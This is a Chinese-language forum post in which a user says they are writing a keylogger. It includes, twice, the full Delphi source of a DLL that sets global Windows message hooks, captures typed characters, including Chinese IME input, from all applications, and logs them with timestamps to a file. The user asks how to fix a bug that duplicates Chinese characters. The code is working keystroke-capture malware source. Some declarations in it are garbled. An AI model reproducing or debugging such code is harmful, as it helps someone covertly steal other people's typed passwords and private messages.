V
vcok
Unregistered / Unconfirmed
GUEST, unregistred user!
[]我在写一个键盘记录软件,目前已经能记录NOTEPAD中输入的英文字符了,但在记录中文输入时,发现在每一个汉字的后面又插入了与本汉字内码相反(高低位互换)的一个汉字.在程序中,我用HOOK拦截WM_IME_CHAR和WM_CHAR消息.每当录入一个汉字时,WM_IME_CHAR处理完毕后会生成两个WM_CHAR消息,每个消息包含汉字的一字节的编码,所以再处理WM_CHAR时会出现编码相反的另一个汉字.总不能屏蔽WM_CHAR吧,因为那样就无法记录英文输入了.目前我实在想不出来如何避免这种情况,有哪位高手能给出解决方案,高分相送.
源码如下:
library keyHook;
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
SysUtils,
Messages,
windows,
Dialogs,
stdctrls,
Classes;
const
afilename='c:/debug.txt';
MAXSIZE=60;
type
TKeyBuf=record //键盘缓冲区
count:integer; //计数器
Buf:String;//缓冲区的内容
end;
var
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
procsaveexitointer;
keyBuf:TKeyBuf; //键盘缓冲区实例
//.................................
procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,afilename);
if fileexists(afilename)=false then rewrite(f)
else append(f);
Writeln(f, TimeToStr(now())+' '+str);
closefile(f);
end;
//................................................
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
ch:Char;
begin
if (uMessage=WM_IME_CHAR) then //针对输入法
begin
inc(keyBuf.count,2);
keyBuf.Buf:=keyBuf.Buf+chr((wparam shr 8) and $ff)+chr(wparam and $ff);
if (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end;
end
else
if (((uMessage=WM_CHAR))) and ((lParam and $1)=1) then //无输入法
begin
ch:=chr(wparam and $ff);
if ch<>#13 then
begin
inc(keyBuf.count);
keyBuf.Buf:=keyBuf.Buf+ch;
end;
if (ch=#13) or (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end
end;
end;
//..................................
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHGetMsgProc,nCode,wParam,lParam);
end;
//................................................................
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHCallWndProc,nCode,wParam,lParam);
end;
//.......................................
function setkeyhook:bool;
begin
if HHGetMsgProc=0 then
begin
HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hinstance,0);
end;
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
if (HHGetMsgProc<>0) and (HHCallWndProc<>0) then
begin
result:=True;
messageBeep(0);
end
else
Result:=False;
end;
//...........................................
function endkeyhook:bool;
begin
if HHCallWndProc<>0 then unhookwindowshookex(HHCallWndProc);
if HHGetMsgProc<>0 then unhookwindowshookex(HHGetMsgProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
messagebeep(0);
if (HHCallWndProc=0) and (HHGetMsgProc=0)then
result:=true
else
result:=false;
end;
//............................................
procedure keyhookexit;
begin
if HHGetMsgProc<>0 then
endkeyhook;
exitproc:=procsaveexit;
end;
{$R *.res}
exports
setkeyhook, endkeyhook;
begin
HHGetMsgProc:=0;
HHCallWndProc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
源码如下:
library keyHook;
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
SysUtils,
Messages,
windows,
Dialogs,
stdctrls,
Classes;
const
afilename='c:/debug.txt';
MAXSIZE=60;
type
TKeyBuf=record //键盘缓冲区
count:integer; //计数器
Buf:String;//缓冲区的内容
end;
var
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
procsaveexitointer;
keyBuf:TKeyBuf; //键盘缓冲区实例
//.................................
procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,afilename);
if fileexists(afilename)=false then rewrite(f)
else append(f);
Writeln(f, TimeToStr(now())+' '+str);
closefile(f);
end;
//................................................
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
ch:Char;
begin
if (uMessage=WM_IME_CHAR) then //针对输入法
begin
inc(keyBuf.count,2);
keyBuf.Buf:=keyBuf.Buf+chr((wparam shr 8) and $ff)+chr(wparam and $ff);
if (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end;
end
else
if (((uMessage=WM_CHAR))) and ((lParam and $1)=1) then //无输入法
begin
ch:=chr(wparam and $ff);
if ch<>#13 then
begin
inc(keyBuf.count);
keyBuf.Buf:=keyBuf.Buf+ch;
end;
if (ch=#13) or (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end
end;
end;
//..................................
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHGetMsgProc,nCode,wParam,lParam);
end;
//................................................................
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHCallWndProc,nCode,wParam,lParam);
end;
//.......................................
function setkeyhook:bool;
begin
if HHGetMsgProc=0 then
begin
HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hinstance,0);
end;
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
if (HHGetMsgProc<>0) and (HHCallWndProc<>0) then
begin
result:=True;
messageBeep(0);
end
else
Result:=False;
end;
//...........................................
function endkeyhook:bool;
begin
if HHCallWndProc<>0 then unhookwindowshookex(HHCallWndProc);
if HHGetMsgProc<>0 then unhookwindowshookex(HHGetMsgProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
messagebeep(0);
if (HHCallWndProc=0) and (HHGetMsgProc=0)then
result:=true
else
result:=false;
end;
//............................................
procedure keyhookexit;
begin
if HHGetMsgProc<>0 then
endkeyhook;
exitproc:=procsaveexit;
end;
{$R *.res}
exports
setkeyhook, endkeyhook;
begin
HHGetMsgProc:=0;
HHCallWndProc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.